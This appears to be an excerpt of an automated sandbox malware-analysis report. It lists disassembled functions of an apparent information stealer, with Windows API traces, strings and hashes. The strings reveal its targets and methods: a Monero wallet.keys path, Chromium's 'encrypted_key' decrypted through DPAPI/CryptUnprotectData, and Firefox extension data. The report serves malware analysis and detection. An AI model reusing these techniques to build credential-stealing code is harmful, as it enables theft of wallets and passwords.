Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 97559932c1d29ec085668a0e25b11f96bca4606a026eb8f366b15e7e2e809f76
Instruction ID: d6ffc9b9fc95058f3404cfa4c31e5175fee011c06f0c84c597251cff14cdf1dd
Opcode Fuzzy Hash: 97559932c1d29ec085668a0e25b11f96bca4606a026eb8f366b15e7e2e809f76
Instruction Fuzzy Hash: 602145B1A40204AFDB14DF94ED45FAEBBB8FF48711F10411DF519A7284C7799941CBA1

Function 00FC8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FC951E,00000000), ref: 00FC8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8D62
wsprintfW.USER32 ref: 00FC8D78

Strings

%hs, xrefs: 00FC8D6F

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ebde4c9f95ee8d98aa174a1a2a44471ae383abf8dbd0c3c03eb0d5d2dc883173
Instruction ID: 90b577a719f1b63bf012ab3574f7b16841afbf3b806d09f3860d7c71333e553d
Opcode Fuzzy Hash: ebde4c9f95ee8d98aa174a1a2a44471ae383abf8dbd0c3c03eb0d5d2dc883173
Instruction Fuzzy Hash: A1E08CB1A40208BFC724DB94E80AE6977B8EF44702F0001A8FD0E87280DAB59E409B91

Function 00FBA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00DED7F0,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FBA3FF
lstrlen.KERNEL32(00000000), ref: 00FBA6BC

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

DeleteFileA.KERNEL32(00000000), ref: 00FBA743

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1447707e4242ea490068081806018d61168f43a41ecb67475d3c93d6d00ddcd3
Instruction ID: 21ca0e65dff4f0f7aaf1427637991e22807d002674151c3fc9586a6d8cff4e6c
Opcode Fuzzy Hash: 1447707e4242ea490068081806018d61168f43a41ecb67475d3c93d6d00ddcd3
Instruction Fuzzy Hash: EAE1DB7281010D9BDB18EBA4DE93FEE7338AF54304F50816DF51672091EE387A49EB66

Function 00FBD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00DED7F0,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBD481
lstrlen.KERNEL32(00000000), ref: 00FBD698
lstrlen.KERNEL32(00000000), ref: 00FBD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FBD72B

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a75bfe8e350782005c121ae9a14b5029058e4fae62073dcbe7bdebca387d1896
Instruction ID: 7e873073a0e6edc34a273b52b12469a10ce51a73c8f5adaa84402bd04da29c83
Opcode Fuzzy Hash: a75bfe8e350782005c121ae9a14b5029058e4fae62073dcbe7bdebca387d1896
Instruction Fuzzy Hash: 67910C7281010D9BDB18EBA0DE97FEE7338AF54304F50416DF516A6091EF387A49EB62

Function 00FBD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00DED7F0,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBD801
lstrlen.KERNEL32(00000000), ref: 00FBD99F
lstrlen.KERNEL32(00000000), ref: 00FBD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FBDA32

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9b1df329743b4e179e564fb43d0c3fe5453dc7120fbb76d7c4b26955cb8d63fe
Instruction ID: d5d09f1522e42409ef83b769e177af14e2bb0e62b68ae190203567afebf6f8df
Opcode Fuzzy Hash: 9b1df329743b4e179e564fb43d0c3fe5453dc7120fbb76d7c4b26955cb8d63fe
Instruction Fuzzy Hash: D181FB7291010D9BDB18EBA0DE97FEE7338AF54304F50412DF416A60D1EE387A49EB62

Function 00FBF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00FD1580,00FD0D92), ref: 00FBF54C
lstrlen.KERNEL32(00000000), ref: 00FBF56B

Strings

moz-extension+++, xrefs: 00FBF5AD
^userContextId=4294967295, xrefs: 00FBF59C

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0c390623aa0613bfee079ee516af0e9bd22816d76d49bfb401b0fc5b306792d3
Instruction ID: ccf0fbabeaa53f18e2c0c0134953871201edf12fee75785910061f7ad67edfbe
Opcode Fuzzy Hash: 0c390623aa0613bfee079ee516af0e9bd22816d76d49bfb401b0fc5b306792d3
Instruction Fuzzy Hash: 32511C71D0010DABDB04FBA0ED97EED7339AF54304F40852CE816661D1EE387A09EBA2

Function 00FC3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 33a6f2acc81efadc73b9b732c69658d90c6901c2ac7c7f719c57e62a1d0340fc
Instruction ID: 6321ece2e164e3867b48a37be32685bb0a15a40e5cf524caf93816209c8492da
Opcode Fuzzy Hash: 33a6f2acc81efadc73b9b732c69658d90c6901c2ac7c7f719c57e62a1d0340fc
Instruction Fuzzy Hash: 28413D71D1010AABCB04EFA4DE46FEEB775EF54704F14841CE41667280EB79AA05EFA2

Function 00FB9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FB9D39

Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
Part of subcall function 00FB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
Part of subcall function 00FB9AC0: LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

Part of subcall function 00FB9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FB9B84
Part of subcall function 00FB9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FB9BA3
Part of subcall function 00FB9B60: LocalFree.KERNEL32(?), ref: 00FB9BD3

Strings

"encrypted_key":", xrefs: 00FB9D30
DPAPI, xrefs: 00FB9D89
, xrefs: 00FB9DC1

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 84d50258c54a1995242f434ef7d3687d31aa88695a1080e375b260b74feba9a5
Instruction ID: 49a00196cf019c1442d28c1048bcfe9e04f42d2dd4071992120c48001b56db6e
Opcode Fuzzy Hash: 84d50258c54a1995242f434ef7d3687d31aa88695a1080e375b260b74feba9a5
Instruction Fuzzy Hash: 7B317CB6D00209ABCF04DFE5DD86EEEB7B8BF48304F144519EA01A3241EB749A04DBA1

Function 00FC92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FC3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00FC3AEE,?), ref: 00FC92FC
GetFileSizeEx.KERNEL32(000000FF,00FC3AEE), ref: 00FC9319
CloseHandle.KERNEL32(000000FF), ref: 00FC9327

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e6d2f9fb9f92240eb22bd8c05a3bf0ff79f68253756f3e6a63c813f0a6ef57e9
Instruction ID: 434f8857262482add88784a44beb2b3318054ad78dc63fc63b7dfa9eb5fe76f3
Opcode Fuzzy Hash: e6d2f9fb9f92240eb22bd8c05a3bf0ff79f68253756f3e6a63c813f0a6ef57e9
Instruction Fuzzy Hash: A8F0A435E04204BBDB24DFB0ED49F9E77F9AB48320F10C658B615A71C4D7B5A6419F40

Function 00FCC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00FCC74E

Part of subcall function 00FCBF9F: __amsg_exit.LIBCMT ref: 00FCBFAF

__getptd.LIBCMT ref: 00FCC765
__amsg_exit.LIBCMT ref: 00FCC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00FCC797

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
